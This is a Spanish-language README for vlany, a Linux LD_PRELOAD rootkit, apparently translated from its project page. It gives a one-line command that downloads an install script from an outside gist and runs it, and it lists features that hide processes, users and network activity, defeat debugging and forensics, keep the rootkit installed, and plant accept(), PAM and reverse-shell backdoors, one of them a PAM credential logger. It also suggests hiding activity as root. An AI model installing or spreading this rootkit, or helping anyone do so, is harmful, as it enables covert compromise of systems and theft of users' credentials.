vlany

VLANY YA NO SE MANTIENE.

https://github.com/naworkcaj/bdvl ES. CONSULTE ESO PARA ACTUALIZACIONES CONSTANTES.

vlany (wiki)

vlany es un rootkit LD_PRELOAD de Linux .

• Lista de características
  
• Antidetección

Instalación

• El script quick_install.sh de vlany es el método de instalación más rápido y sencillo.
  root@vlany:~# wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh
  
  El script quick_install.sh descarga automáticamente la última versión de vlany desde este repositorio, descomprime el archivo y luego ejecuta el script de instalación normal desde un nuevo directorio aleatorio en /tmp/. De forma predeterminada, el script quick_install.sh elimina el nuevo directorio una vez que la ejecución ha finalizado por completo.
  

• Es muy sencillo instalar vlany en un sistema ya que viene con un script de instalación automatizada.
  Para instalar vlany, primero debe descargarlo desde nuestro GitHub (siempre actualizado y confiable)
  root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

• Una vez descargado sólo tienes que ejecutar install.sh dentro de vlany-master.
  root@vlany:~# cd vlany-master && ./install.sh
  De forma predeterminada, esto le solicitará una instalación de tui, pero si prefiere cli, puede usar el argumento --cli para invocar una instalación de cli similar.
  

ASCIICASTO DE INSTALACIÓN

Instalación regular de tui en una máquina Debian 8 usando un binario suid para escalar privilegios de un usuario tmp. En un escenario de la vida real, querrás jugar con algunas variables de entorno para evitar que alguien vea tu actividad cuando seas root.

Descargas

instalación_rápida.sh
vlany.tar.gz
const.h poblado (después de la ejecución de config.py)

Características

• Ocultación de procesos
• Ocultación de usuario
• Ocultación de red
• contenedor LXC
• Antidepuración
• Antiforense
• (re)instalación persistente y antidetección
• Modificaciones del enlazador dinámico
• puertas traseras
  • aceptar() puerta trasera (derivada de Jynx2)
  • puerta trasera PAM
    • Registrador de autenticación PAM
  • puerta trasera de carcasa inversa snodew
• comandos exclusivos de vlany

Errores conocidos

Todos los errores enumerados aquí estarán presentes hasta que se resuelva. Si se ha informado de un error como problema, el problema correspondiente también estará vinculado en la lista de errores. Si se resuelve un error, la lista se eliminará de aquí y, si aún hay algún problema abierto relacionado con el error, se cerrará.

Errores graves

1. Actualmente existe una solución experimental para el bloqueo del reinicio. Algunos sistemas se bloquearán, otros no. Informe cualquier sistema que se bloquee al reiniciar como un problema y proporcione las circunstancias de la instalación de vlany en el informe. Eche un vistazo a la página Problemas para ver si ya se ha enviado un problema similar.
2. vlany no se instala correctamente en versiones superiores a CentOS 6.6.

README.txt detallado (muy detallado pero no mantenido)

NOTA: vlany está en desarrollo activo. Constantemente se realizan cambios en este repositorio, así que tenga en cuenta que vlany es muy experimental.